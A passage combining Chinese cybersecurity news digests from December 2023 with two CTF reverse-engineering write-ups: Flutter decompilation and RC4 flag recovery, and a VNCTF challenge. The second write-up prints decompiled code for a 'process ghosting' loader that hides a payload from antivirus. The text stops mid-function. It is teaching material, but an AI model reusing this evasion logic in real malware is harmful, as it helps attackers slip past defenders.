网络安全日报 2023年12月14日
1、Lazarus组织利用Log4j漏洞部署远程访问木马
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/ Lazarus组织利用Log4j中的安全缺陷,在受感染的主机上部署以前未记录的远程访问木马(RAT)。研究人员正在以“Operation Blacksmith”的名义跟踪该活动,注意到使用了三个基于DLang的恶意软件系列,其中包括一种名为NineRAT的RAT(利用Telegram进行命令和控制 (C2))、DLRAT和一个名为BottomLoader的下载程序。
2、苹果发布安全更新以修补严重的iOS和macOS安全漏洞
https://support.apple.com/en-us/HT201222 苹果周一发布了针对iOS、iPadOS、macOS、tvOS、watchOS和Safari网络浏览器的安全补丁,以解决多个安全漏洞,此外还将针对最近披露的两个零日漏洞的修复程序向后移植到旧设备。其中包括针对iOS和iPadOS中12个安全漏洞的更新,涉及AVEVideoEncoder、ExtensionKit、Find My、ImageIO、Kernel、Safari Private Browsing和WebKit。macOS Sonoma 14.2本身解决了39个缺陷,其中有6个影响ncurses库的错误。其
3、18个恶意贷款应用程序诈骗数百万安卓用户
https://www.welivesecurity.com/en/eset-research/beware-predatory-fintech-loan-sharks-use-android-apps-reach-new-depths/ 网络安全研究人员在Google Play商店中发现了18个安卓恶意贷款应用程序,这些应用程序的总下载量已超过1200万次。尽管这些服务的外表很吸引人,但实际上是为了欺骗用户,向他们提供带有欺骗性描述的高利率贷款,同时收集受害者的个人和财务信息来敲诈他们,最终获得他们的资金。它们旨在针对东南亚、非洲和拉丁美洲的潜在借款人。
4、Sophos 修补 EOL 防火墙严重漏洞以防止被利用
https://www.securityweek.com/sophos-patches-eol-firewalls-against-exploited-vulnerability/ 网络安全公司 Sophos 本周宣布针对已达到生命周期 (EOL) 的防火墙版本中的一个被利用漏洞提供补丁。该严重缺陷(编号为 CVE-2022-3236)被发现影响 19.0 MR1 (19.0.1) 及更早版本的产品。它最初于 2022 年 9 月进行了修补,但仅限于受支持的 Sophos Firewall 版本。
5、BazaCall 网络钓鱼诈骗者利用 Google 表单进行欺骗
https://thehackernews.com/2023/12/bazacall-phishing-scammers-now.html 据观察, BazaCall网络钓鱼攻击背后的威胁行为者利用 Google Forms 为该计划披上可信的外衣。
6、Chrome 120 更新修补高严重性漏洞
https://www.securityweek.com/chrome-120-update-patches-high-severity-vulnerabilities/ Chrome 120 安全更新解决了 9 个漏洞,其中包括外部报告的 5 个高严重性缺陷。
7、CS2游戏中的 HTML 注入漏洞暴露了玩家 IP 地址
https://www.bleepingcomputer.com/news/security/counter-strike-2-html-injection-bug-exposes-players-ip-addresses/ Valve 修复了 CS2 中的一个 HTML 注入缺陷,该缺陷如今被严重滥用,将图像注入游戏并获取其他玩家的 IP 地址。
8、冷藏企业巨头 Americold 遭受勒索软件攻击
https://therecord.media/ransomware-attack-on-americold-cold-storage 该公司近日披露,4 月份针对公司的勒索软件攻击影响了近 13 万人。
9、Apple 测试 iPhone 的新被盗设备保护功能
https://www.securityweek.com/apple-testing-new-stolen-device-protection-feature-for-iphones/ 苹果正在测试一项新的安全功能,该功能将限制 iPhone 窃贼对被盗手机的操作,即使他们拥有密码。
10、俄乌网络战再升级:乌克兰全国断网、俄罗斯税务系统瘫痪
https://www.secrss.com/articles/61696 本周俄乌网络战全面升级,双方的网络攻击火力全开,给对方的关键基础设施造成了开战以来损失最为惨重,影响最为深远的沉重打击。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年12月13日
1、研究人员披露AutoSpill攻击可从安卓密码管理器窃取凭据
https://www.blackhat.com/eu-23/briefings/schedule/index.html#autospill-zero-effort-credential-stealing-from-mobile-password-managers-34420 安全研究人员开发了一种新的攻击,他们将其命名为AutoSpill,在自动填充操作期间窃取安卓上的帐户凭据。研究人员表示,他们的测试表明,即使没有JavaScript注入,大多数安卓密码管理器也容易受到AutoSpill的攻击。安卓应用程序通常使用WebView控件来呈现Web内容,例如应用程序内的登录页面,而不是将用户
2、研究人员称超过一半的内部攻击使用特权提升漏洞
https://www.crowdstrike.com/blog/how-malicious-insiders-use-known-vulnerabilities-against-organizations/ 特权提升缺陷是企业内部人员在网络上进行未经授权的活动时最常见的漏洞,无论是出于恶意目的还是以危险的方式下载有风险的工具。根据2021年1月至2023年4月期间收集的数据发布的一份报告显示,内部威胁正在上升,而利用权限升级漏洞是未经授权活动的重要组成部分。该报告称,该公司记录的内部威胁中有55%依赖于权限升级漏洞,而其余45%通过下载或滥用攻击性工具无意中引入了风险。利用权限升级漏洞来获
3、研究人员发现针对主要金融机构的加密npm恶意软件包
https://blog.phylum.io//encrypted-npm-packages-found-targeting-major-financial-institution/ 2023年11月上旬,研究人员开始跟踪npm上的可疑出版物。有问题的包包含一个加密的blob,该blob似乎是针对目标计算机的密钥:只有使用一些本地计算机信息和解密密钥才能解密。然后将解密的blob传递给eval(...)执行。研究人员解密此负载,发现密钥是一家主要金融机构的domain.tld。此解密的有效负载包含一个嵌入的二进制文件,该二进制文件巧妙地将用户凭据泄露到相关目标公司内部的Microsoft T
4、网络攻击使乌克兰最大的电信运营商陷入瘫痪
https://www.securityweek.com/cyberattack-cripples-ukraines-largest-telcom-operator/ 乌克兰最大的移动网络运营商 Kyivstar 周二遭受大规模网络攻击,导致数百万公民的移动和互联网通信中断。
5、微软周二补丁日:修复严重的欺骗和远程代码执行漏洞
https://www.securityweek.com/microsoft-patch-tuesday-critical-spoofing-and-remote-code-execution-flaws/ 微软周二推出了针对Windows生态系统中几个关键安全漏洞的修复程序,并警告称,黑客可能会针对这些问题来完全控制未打补丁的机器。作为其常规补丁星期二发布的一部分,微软记录了一系列产品中的至少 33 个漏洞,并呼吁紧急关注 MSHTML 平台、Microsoft Power Platform 连接器和 Internet 连接共享 (ICS) 组件中的远程代码执行漏洞。
6、Apple 推出iMessage 联系人密钥验证的新功能以阻止冒充者
https://www.securityweek.com/apple-sets-trap-to-catch-imessage-impersonators/ Apple 最新的 iOS 和 macOS 平台更新带来的不仅仅是紧急安全补丁。该公司激活了一项名为iMessage 联系人密钥验证的新功能,以阻止冒充者和复杂的威胁行为者滥用其 iMessage 服务器基础设施。
7、西门子和施耐德电气解决了影响其工业产品的数十个漏洞
https://www.securityweek.com/ics-patch-tuesday-electromagnetic-fault-injection-critical-redis-vulnerability/ 西门子和施耐德电气发布了 2023 年 12 月的周二补丁公告,解决了影响其产品的数十个漏洞。
8、乌克兰军事情报部门入侵俄罗斯联邦税务局
https://securityaffairs.com/155727/cyber-warfare-2/ukraine-hacked-russian-federal-taxation-service.html 乌克兰国防部主要情报局的黑客宣布他们已经入侵了俄罗斯联邦税务局(FNS),军事情报部门表示,此次黑客攻击是俄罗斯境内一次成功的特别行动的结果。乌克兰国防情报局 (GUR) 感染了俄罗斯税务部门的数千台服务器,并清除了数据库和备份。
9、超过 1,450 个 pfSense 服务器易遭受 Bug 链 RCE 攻击
https://www.bleepingcomputer.com/news/security/over-1-450-pfsense-servers-exposed-to-rce-attacks-via-bug-chain 在线暴露的大约 1,450 个 pfSense 实例容易受到命令注入和跨站点脚本漏洞的攻击,这些漏洞如果链接起来,可能使攻击者能够在设备上执行远程代码。
10、国际航空运输协会:导航系统被攻击导致多架飞机偏离航线
https://www.secrss.com/articles/61594 国际航空运输协会官员表示,鉴于近期网络攻击者误导飞机导航系统,导致飞机偏离航线的事件越来越多,全球航空业巨头计划明年 1 月开会讨论由此引发的安全问题。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
【flutter对抗】blutter使用+ACTF习题
最新的能很好反编译flutter程序的项目
1、安装
git clone https://github.com/worawit/blutter --depth=1
然后我直接将对应的两个压缩包下载下来(通过浏览器手动下载)
不再通过python的代码来下载,之前一直卡在这个地方。
如果读者可以正常运行init_env_win.py,手动这一步可以省略。
cd .\blutter\
python .\scripts\init_env_win.py
再次运行就可以安装成功
2、blutter反编译使用
运行该工具,进入目标文件夹
提供libapp.so 和 libflutter.so 的目录
python blutter.py C:\Users\Le\Desktop\flutter\chall\lib\armeabi-v7a .\output
然后报错。。。
但是问题不大,好像是我们的架构不支持,我们换一个
再次运行,发现正在下载对应Dart版本的信息
全程代理!
要不然还会报错
正常情况下:
安装完成后,再次运行命令:
报错:0x22说明权限不够,使用管理员模式运行即可
反编译成功
查看文件目录:
到此,blutter模块反编译flutter成功!
3、IDA恢复libapp.so符号
拖进IDA64
发现符号全无,不利于我们分析,此时blutter工具的用法就体现出来了
运行生成的脚本:
见证奇迹的时刻到了
4、分析
flutter中:onTap函数是按钮点击响应函数,CTF中以此作为入口进行分析
进入1DE500函数
进入分析发现一堆代码
目前不知道什么加密,因为“面目全非”(有256,%符号)
使用blutter生成的frida脚本,对该函数进行hook,观察其返回结果
frida -U -f com.example.flutter_application_1 -l blutter_frida.js
hook目标函数
然后发现没有触发
猜测flag长度有限制,后面知道了原来是模拟器有bug,我换了真机才可以
得到了比较的数组,也就是密文
Unhandle class id: 46, TypeArguments
GrowableList@750038d0f1 = [
188698,
0,
{
"key": "Unhandle class id: 46, TypeArguments"
},
34,
{
"key": [
184,
132,
137,
215,
146,
65,
86,
157,
123,
100,
179,
131,
112,
170,
97,
210,
163,
179,
17,
171,
245,
30,
194,
144,
37,
41,
235,
121,
146,
210,
174,
92,
204,
22
]
},
0,
0,
0
]
接下来使用IDA进行so的一个动调
选择same
找到module
运行程序
读者可以使用高级语言来看,为了理解更深刻,我这里采用了汇编来看
可以看到比较256次
RC4的经典特征
在异或出添加输出断点:
搜索指令
EOR X5, X3, X2
import idc
print(idc.get_reg_value("X2"),",",end="")
拿到异或的所有值
xor = [14, 14, 68, 80, 29, 201, 241, 46, 197, 208, 123, 79, 187, 55, 234, 104, 40, 117, 133, 12, 67, 137, 91, 31, 136,
177, 64, 234, 24, 27, 26, 214, 122, 217]
然后还有密文
这里使用了oacia师傅的脚本
final = [184, 132, 137, 215, 146, 65, 86, 157, 123, 100, 179, 131, 112, 170, 97, 210, 163, 179, 17, 171, 245, 30, 194,
144, 37, 41, 235, 121, 146, 210, 174, 92, 204, 22]
xor = [14, 14, 68, 80, 29, 201, 241, 46, 197, 208, 123, 79, 187, 55, 234, 104, 40, 117, 133, 12, 67, 137, 91, 31, 136,
177, 64, 234, 24, 27, 26, 214, 122, 217]
flag = [chr(xor[i]^final[i]^0xff) for i in range(len(final))]
print(''.join(flag))
感谢oacia师傅的分享
网络安全日报 2023年12月12日
1、Kimsuky组织针对韩国研究机构进行后门攻击
https://asec.ahnlab.com/en/59387/ Kimsuky的朝鲜攻击者将韩国的研究机构作为鱼叉式网络钓鱼活动的一部分,其最终目标是在受感染的系统上分发后门。攻击者最终会利用后门窃取信息并执行命令。攻击链以导入声明诱饵开始,该诱饵实际上是一个恶意JSE文件,其中包含混淆的PowerShell脚本、Base64编码的有效负载和诱饵PDF文档。下一阶段需要打开PDF文件作为牵制策略,同时PowerShell脚本在后台执行以启动后门。
2、攻击者通过破解版Mac软件传播的新型Trojan-Proxy恶意软件
https://securelist.com/trojan-proxy-for-macos/111325/ 未经授权的网站分发木马版本的破解软件已被发现使用新的Trojan-Proxy恶意软件感染苹果macOS用户。攻击者可以利用此类恶意软件通过构建代理服务器网络来获取金钱,或代表受害者实施犯罪行为:对网站、公司和个人发起攻击,购买枪支、毒品和其他非法商品。该恶意软件是一种跨平台威胁,因为在Windows和Android上发现了利用盗版工具的工件。macOS变体打着合法多媒体、图像编辑、数据恢复和生产力工具的幌子传播。这表明搜索盗版软件的用户是该活动的目标。与以磁盘映像(.DMG)文件形式提
3、超三成的应用程序使用Log4J库的易受攻击版本
https://www.bleepingcomputer.com/news/security/over-30-percent-of-log4j-apps-use-a-vulnerable-version-of-the-library/ 大约38%使用Apache Log4j库的应用程序使用的版本容易出现安全问题,其中包括Log4Shell,这是一个被识别为CVE-2021-44228的严重漏洞,尽管补丁已经发布了两年多,但其严重程度最高。Log4Shell是一个未经身份验证的远程代码执行漏洞,允许使用Log4j 2.0-beta9和最高版本2.15.0完全控制系统。该漏洞于2021年 12
4、Apple 发布 iOS 17.2 并附带紧急安全补丁
https://www.securityweek.com/apple-ships-ios-17-2-with-urgent-security-patches/ 最新的iOS 17.2 和 iPadOS 17.2包含至少 11 个已记录的安全缺陷的修复程序,其中一些缺陷严重到足以导致任意代码执行或应用程序沙箱逃逸。
5、BlackCat/Alphv 勒索软件泄密网站已被执法部门关闭
https://www.securityweek.com/law-enforcement-reportedly-behind-takedown-of-blackcat-alphv-ransomware-website/ 勒索软件组织 BlackCat 和 Alphv 的官方泄密网站已经离线数天,据信执法部门是此次关闭的幕后黑手。基于 Tor 的BlackCat/Alphv泄露网站自 12 月 7 日起就无法访问。威胁情报公司 RedSense 第二天报告称,该网站已被执法部门关闭。
6、谷歌修补了HardPwn USA 2023中被利用的 Chromecast 漏洞
https://www.securityweek.com/google-patches-chromecast-vulnerabilities-exploited-at-hacking-contest/ 谷歌已经修复了今年早些时候在黑客竞赛中展示的几个高度和中等严重程度的 Chromecast 漏洞。
7、Apache 修补 Struts 2 中的关键 RCE 漏洞
https://www.securityweek.com/apache-patches-critical-rce-vulnerability-in-struts-2/ Apache 软件基金会周末宣布了安全更新,解决了 Struts 2 开源开发框架中的一个严重性文件上传漏洞,并警告称该漏洞可能被利用来远程执行任意代码。该问题编号为CVE-2023-50164,被描述为文件上传逻辑中的缺陷,可能允许“攻击者启用具有遍历的路径”。尚未公布任何技术细节。Apache 在其公告中解释道:“攻击者可以操纵文件上传参数来实现路径遍历,在某些情况下,这可能会导致上传可用于执行远程代码执行的恶意文件。”
8、丰田金融服务公司披露数据泄露事件
丰田金融服务公司 (TFS) 披露了一起数据泄露事件,威胁行为者访问了其敏感的个人和财务数据。
9、日本汽车制造商Nissan遭遇网络攻击
https://securityaffairs.com/155360/security/nissan-oceania-suffers-cyberattack.html 日产大洋洲宣布遭受了网络攻击,并对此事件展开了调查。公司称已经通知了澳大利亚网络安全中心和新西兰国家网络安全中心。
10、国家网信办《网络安全事件报告管理办法》公开征求意见
https://www.secrss.com/articles/61529 为了规范网络安全事件的报告,减少网络安全事件造成的损失和危害,维护国家网络安全,依据《中华人民共和国网络安全法》等法律法规,国家互联网信息办公室起草了《网络安全事件报告管理办法(征求意见稿)》,现向社会公开征求意见。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年12月11日
1、Meta在Messenger上启动聊天和通话为默认端到端加密
https://about.fb.com/news/2023/12/default-end-to-end-encryption-on-messenger/ Meta已正式开始在Messenger中默认支持个人通话和一对一个人消息的端到端加密(E2EE)。该公司副总裁在社交媒体上称,此次不是例行的安全更新,他们与隐私和安全专家密切协商,从头开始重建了该应用程序。Messenger中群组消息传递的E2EE仍处于测试阶段。Meta升级了100多项功能以纳入加密,还通过构建名为Labyrinth的新加密存储系统,为用户开发了管理设备之间消息历史记录的新方法,例如设置PIN。PIN用作Messenge
2、攻击者可以利用AWS STS渗透云帐户
https://redcanary.com/blog/aws-sts/ 攻击者可以利用Amazon Web Services安全令牌服务(AWS STS)作为渗透云帐户并进行后续攻击的方式。AWS STS是一项Web服务,使用户能够请求临时的、有限权限的凭证,以便用户访问AWS资源,而无需创建AWS身份。这些STS令牌的有效期为15分钟到36小时。攻击者可以通过恶意软件感染、公开暴露的凭据和网络钓鱼电子邮件等多种方法窃取长期IAM令牌,然后通过API调用使用它们来确定与这些令牌关联的角色和权限。
3、攻击者可使用新型蓝牙漏洞控制多平台设备
https://github.com/skysafe/reblog/tree/main/cve-2023-45866 攻击者可能会利用一个关键的蓝牙安全漏洞来控制Android、Linux、macOS和iOS设备。该漏洞编号为CVE-2023-45866,涉及身份验证绕过的情况,该情况使攻击者能够连接到易受影响的设备并注入击键以实现作为受害者的代码执行。多个蓝牙堆栈存在身份验证绕过漏洞,允许攻击者在无需用户确认的情况下连接到可发现的主机并注入击键。
4、研究人员披露针对泰国电信公司的新型Krasue恶意软件
https://www.group-ib.com/blog/krasue-rat/ 自 2021 年以来,攻击者观察到一种名为Krasue的新型的Linux远程访问木马以泰国电信公司为目标,主要用于秘密访问受害者网络。目前尚不清楚用于部署 Krasue 的确切初始访问向量,但怀疑它可能是通过漏洞利用、凭证暴力攻击或作为虚假软件包或二进制文件的一部分下载的。该恶意软件的核心功能是通过一个rootkit实现的,该rootkit伪装成未签名的VMware驱动程序,并允许其在主机上保持持久性而不引起任何注意。Rootkit源自Diamorphine、Suterusu和Rooty等开源项目。
5、研究人员披露BlueNoroff组织针对macOS用户的新恶意软件
https://securelist.com/bluenoroff-new-macos-malware/111290/ 研究人员发现了一种针对macOS的新型恶意加载程序,可能与BlueNoroff APT组织及其正在进行的名为RustBucket的活动有关。攻击者常常会攻击金融组织,特别是其活动与加密货币有任何关系的公司,以及持有加密资产或对该主题感兴趣的个人。有关新加载程序变体的信息首先出现在X以前称为Twitter)帖子中。
6、美国海军承包商Austal承认数据泄露且遭受网络攻击
https://www.bleepingcomputer.com/news/security/navy-contractor-austal-usa-confirms-cyberattack-after-data-leak/ 美国造船公司Austal USA是美国国防部(DoD)和国土安全部(DHS)的承包商,证实遭受了网络攻击,目前正在调查该事件的影响。该公司总部位于澳大利亚,专门生产高性能铝制容器。其美国子公司Austal USA签订了多个项目合同,其中包括为美国海军建造独立级濒海战斗舰,这些舰艇长127米,每艘造价3.6亿美元。Austal还拥有一份价值33亿美元的有效合同,为美国海岸警
7、Atlassian修复多个产品中的关键远程代码执行漏洞
https://confluence.atlassian.com/security/security-advisories-bulletins-1236937381.html Atlassian发布了针对影响Confluence、Jira和Bitbucket服务器以及macOS配套应用程序的四个关键远程代码执行(RCE)漏洞的安全公告。根据Atlassian的内部评估,所有解决的安全问题的严重程度至少为9.0分(满分10分)。不过,该公司建议企业根据自己的IT环境评估适用性。该公司没有将任何安全问题标记为在野外被利用。然而,由于Atlassian产品的流行及其在企业环境中的广泛部署,系统管理
8、研究人员发现了ANDROID 14 和 13 的锁屏绕过漏洞
https://securityaffairs.com/155588/hacking/android-14-13-lock-screen-bypass.html 研究人员在 Android 14 和 13 中发现了一个锁屏绕过漏洞,可能会泄露用户 Google 帐户中的敏感数据。
9、新的 5G 调制解调器漏洞影响主要品牌的Android手机和 iOS 设备
https://thehackernews.com/2023/12/new-5g-modems-flaws-affect-ios-devices.html 联发科和高通等主要芯片组供应商的 5G 移动网络调制解调器固件实现中存在一系列安全漏洞,影响 USB 和物联网调制解调器以及数百种运行 Android 和 iOS 的智能手机型号。
10、俄罗斯Fancy Bear组织发起大规模凭证收集活动
https://www.csoonline.com/article/1251293/russias-fancy-bear-launches-mass-credential-collection-campaigns-exploiting-outlook-and-winrar-flaws.html 俄罗斯军事情报部门相关的威胁组织Fancy Bear发起大规模凭证收集活动,这些攻击活动利用Outlook和WinRAR中的已知漏洞从欧洲和北美的组织收集Windows NTLM凭据哈希值。对于网络间谍组织来说,大量电子邮件的发送是不寻常的,因为网络间谍组织在选择受害者时通常具有高度针对性。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
【父子进程/AES/XTEA/SMC】赛后复盘
官方wp:
进程重影技术:
进程重映像利用了Windows内核中的缓存同步问题,它会导致可执行文件的路径与从该可执行文件创建的映像节区所报告的路径不匹配。通过在一个诱饵路径上加载DLL,然后卸载它,然后从一个新路径加载它,许多Windows API将返回旧路径。这可能可以欺骗安全产品,使其在错误的路径上查找加载的映像。
主要创建方式就是先打开一个新文件,然后把这个文件挂到删除列表上,在关闭文件句柄后文件就会被删除,但是在还没有关闭的时候此时文件还未删除,此时能向文件中写入数据,然后再把这个文件映射到内存上,再关闭文件句柄,此时文件删除,但是内存中还有文件的映像,达到一定的迷惑杀软的目的。
如果是做题的话,直接用IDA附加开启的子进程,然后发现XTEA,解密得到flag
如果是学技术的话,还是要研究一下 “进程重影” 技术思路。
本文两者都会介绍的。
考点:AES\XTEA\进程与子进程\SMC\进程重影
分析
DIE打开,发现是pe64位,无壳
拖进IDA进行分析
习惯操作,先用FindCrypto扫一下,有没有加密
发现AES加密
跟踪main函数,看看它到底要干什么
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
j___CheckForDebuggerJustMyCode(&unk_1400A80B9);// vs2022调试debug版c++程序会出现该函数,我也不知道啥用
sub_140001FF0(*argv);
return 0;
}
AES核心加密逻辑函数
__int64 __fastcall sub_13F887480(char *a1, char *a2, unsigned int a3, __int64 a4, __int64 a5)
{
__int64 result; // rax
unsigned __int64 i; // [rsp+28h] [rbp+8h]
unsigned __int8 v7; // [rsp+44h] [rbp+24h]
j___CheckForDebuggerJustMyCode(&unk_13F92800D);
v7 = a3 % 0x10;
if ( a4 )
{
qword_13F91D188 = a4;
sub_13F888EA0();
}
if ( a5 )
qword_13F91D240 = a5;
for ( i = 0i64; i < a3; i += 16i64 )
{
sub_13F889C80(a2);
j_memmove(a1, a2, 0x10ui64);
qword_13F91D180 = (__int64)a1;
sub_13F887850();
qword_13F91D240 = (__int64)a1;
a2 += 16;
a1 += 16;
}
result = v7;
if ( v7 )
{
j_memmove(a1, a2, v7);
qword_13F91D180 = (__int64)a1;
return sub_13F887850();
}
return result;
}
跟进了sub_14000A700函数
signed int __fastcall sub_14000A700(const char *a1)
{
char *v1; // rdi
__int64 i; // rcx
DWORD LastError; // eax
signed int result; // eax
HANDLE CurrentProcess; // rax
size_t v6; // rax
DWORD dwCreationDisposition; // [rsp+20h] [rbp-40h]
char v8; // [rsp+60h] [rbp+0h] BYREF
CHAR FileName[48]; // [rsp+68h] [rbp+8h] BYREF
__int64 v10[4]; // [rsp+98h] [rbp+38h] BYREF
HANDLE hObject; // [rsp+B8h] [rbp+58h]
unsigned int v12; // [rsp+D4h] [rbp+74h]
char v13[36]; // [rsp+F4h] [rbp+94h] BYREF
int v14[12]; // [rsp+118h] [rbp+B8h] BYREF
__int64 (__fastcall *v15)(HANDLE, int *, char *, __int64, int); // [rsp+148h] [rbp+E8h]
HRSRC hResInfo; // [rsp+168h] [rbp+108h]
DWORD v17; // [rsp+184h] [rbp+124h]
HGLOBAL hResData; // [rsp+1A8h] [rbp+148h]
void *Src; // [rsp+1C8h] [rbp+168h]
DWORD NumberOfBytesWritten; // [rsp+1E4h] [rbp+184h] BYREF
DWORD nNumberOfBytesToWrite[8]; // [rsp+204h] [rbp+1A4h] BYREF
size_t Size; // [rsp+224h] [rbp+1C4h]
void *Block; // [rsp+248h] [rbp+1E8h]
LPCVOID lpBuffer[4]; // [rsp+268h] [rbp+208h] BYREF
__int64 (__fastcall *v25)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE); // [rsp+288h] [rbp+228h]
__int64 v26[3]; // [rsp+2A8h] [rbp+248h] BYREF
unsigned int v27[9]; // [rsp+2C4h] [rbp+264h] BYREF
HANDLE hHandle[4]; // [rsp+2E8h] [rbp+288h] BYREF
__int64 (__fastcall *v29)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD); // [rsp+308h] [rbp+2A8h]
char v30[76]; // [rsp+328h] [rbp+2C8h] BYREF
int v31; // [rsp+374h] [rbp+314h]
__int64 (__fastcall *v32)(HANDLE, _QWORD, char *, __int64, _QWORD); // [rsp+398h] [rbp+338h]
char *Str; // [rsp+3B8h] [rbp+358h]
int v34; // [rsp+3D4h] [rbp+374h]
int v35; // [rsp+3F4h] [rbp+394h]
int v36; // [rsp+414h] [rbp+3B4h]
wchar_t *Dest; // [rsp+438h] [rbp+3D8h]
__int64 v38[63]; // [rsp+460h] [rbp+400h] BYREF
__int64 v39; // [rsp+658h] [rbp+5F8h]
__int64 v40[4]; // [rsp+678h] [rbp+618h] BYREF
__int64 (__fastcall *v41)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD); // [rsp+698h] [rbp+638h]
int v42; // [rsp+9A4h] [rbp+944h]
v1 = &v8;
for ( i = 404i64; i; --i )
{
*(_DWORD *)v1 = -858993460;
v1 += 4;
}
j___CheckForDebuggerJustMyCode(&unk_1400A80B9);
strcpy(FileName, "VNctf2023");
v10[0] = 0x616C7972723073i64;
hObject = CreateFileA(FileName, 0xC0010000, 0, 0i64, 2u, 0x80u, 0i64);// 创建一个文件
if ( hObject == (HANDLE)-1i64 )
{ // 失败
LastError = GetLastError();
return sub_14000257C("Failed - Error Code %08X\r\n", LastError);
}
else
{
v13[0] = 1; // 创建成功
v15 = (__int64 (__fastcall *)(HANDLE, int *, char *, __int64, int))sub_1400016B3("NtSetInformationFile");
v12 = v15(hObject, v14, v13, 1i64, 13);
if ( v14[0] >= 0 )
{
hResInfo = FindResourceA(0i64, (LPCSTR)0x66, "shell");// 寻找指定类型和名称的资源位置
v17 = SizeofResource(0i64, hResInfo); // 资源大小
hResData = LoadResource(0i64, hResInfo); // 加载资源
Src = LockResource(hResData);
NumberOfBytesWritten = 0;
nNumberOfBytesToWrite[0] = 0;
LODWORD(Size) = v17 - 4;
Block = j_j_j__malloc_base(v17 - 4);
j_memmove(Block, Src, (unsigned int)Size);
j_memmove(nNumberOfBytesToWrite, (char *)Src + (unsigned int)Size, 4ui64);
GlobalUnlock(hResData);
lpBuffer[0] = 0i64;
NumberOfBytesWritten = sub_1400030BC(Block, v10, lpBuffer, (unsigned int)Size); //关键函数,好像对shell资源进行了 AES加密
if ( NumberOfBytesWritten >= nNumberOfBytesToWrite[0]
&& lpBuffer[0]
&& WriteFile(hObject, lpBuffer[0], nNumberOfBytesToWrite[0], &NumberOfBytesWritten, 0i64)// 加密后shell 写到资源到文件
&& (j_free(Block), // 释放
j_free((void *)lpBuffer[0]),
v25 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE))sub_1400016B3("NtCreateSection"),// 创建节对象
v12 = v25(v26, 983071i64, 0i64, 0i64, 2, 0x1000000, hObject),
(v12 & 0x80000000) == 0) ) // 猜测上面的代码,就是把shell 资源 写到一个叫 vnctf2023的文件里面
{
result = sub_14000347C(hObject, v27, nNumberOfBytesToWrite[0]);
if ( result ) // 写入成功
{
CloseHandle(hObject);
hHandle[0] = 0i64;
v29 = (__int64 (__fastcall *)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD))sub_1400016B3("NtCreateProcess");// 启动进程
CurrentProcess = GetCurrentProcess();
LOBYTE(dwCreationDisposition) = 1;
result = v29(hHandle, 0x1FFFFFi64, 0i64, CurrentProcess, dwCreationDisposition, v26[0], 0i64, 0i64);
v12 = result;
if ( result >= 0 )
{
memset(v30, 0, 0x30ui64);
v31 = 0;
v32 = (__int64 (__fastcall *)(HANDLE, _QWORD, char *, __int64, _QWORD))sub_1400016B3("NtQueryInformationProcess");
result = v32(hHandle[0], 0i64, v30, 48i64, 0i64);
v12 = result;
if ( result >= 0 )
{
Str = (char *)j_j_j__malloc_base(4ui64);
sub_1400039C2(Str, "%x", NumberOfBytesWritten);
v34 = j_strlen(FileName);
v35 = j_strlen(a1);
v36 = j_strlen(Str);
j_strcat(FileName, " ");
j_strcat(FileName, a1);
j_strcat(FileName, " ");
j_strcat(FileName, Str);
v34 += v35 + v36 + 2;
v42 = v34 + 1;
v6 = (unsigned int)(2 * (v34 + 1));
if ( !is_mul_ok(2u, v34 + 1) )
v6 = -1i64;
Dest = (wchar_t *)j_j_j__malloc_base(v6);
sub_140003175(Dest, 0i64, 2 * v34 + 2);
j_mbstowcs(Dest, FileName, v34);
result = sub_140003DBE(hHandle[0], v30, Dest);
if ( result )
{
j_free(Dest);
memset(v38, 0, 0x1B8ui64);
result = sub_140002176(hHandle[0], v30, v38);
if ( result )
{
v38[59] = v38[2];
v39 = v38[2] + v27[0];
v40[0] = 0i64;
v41 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD))sub_1400016B3("NtCreateThreadEx"); //启动线程
result = v41(v40, 0x1FFFFFi64, 0i64, hHandle[0], v39, 0i64, 0, 0i64, 0i64, 0i64, 0i64);
v12 = result;
if ( result >= 0 )
return WaitForSingleObject(hHandle[0], 0xFFFFFFFF);
}
}
}
}
}
}
else
{
return CloseHandle(hObject);
}
}
else
{
sub_14000257C("Failed - Error Code %08X\r\n", v12);
return CloseHandle(hObject);
}
}
return result;
}
关键函数 sub_140009E20,就是那个对shell资源进行处理的函数
__int64 __fastcall sub_140009E20(__int64 a1, const char *a2, void **a3, unsigned int a4)
{
char *v4; // rdi
__int64 i; // rcx
size_t v6; // rax
char v8; // [rsp+20h] [rbp+0h] BYREF
char v9[44]; // [rsp+28h] [rbp+8h] BYREF
unsigned int v10; // [rsp+54h] [rbp+34h]
BOOL v11; // [rsp+74h] [rbp+54h]
int j; // [rsp+94h] [rbp+74h]
size_t Size; // [rsp+168h] [rbp+148h]
v4 = &v8;
for ( i = 42i64; i; --i )
{
*(_DWORD *)v4 = -858993460;
v4 += 4;
}
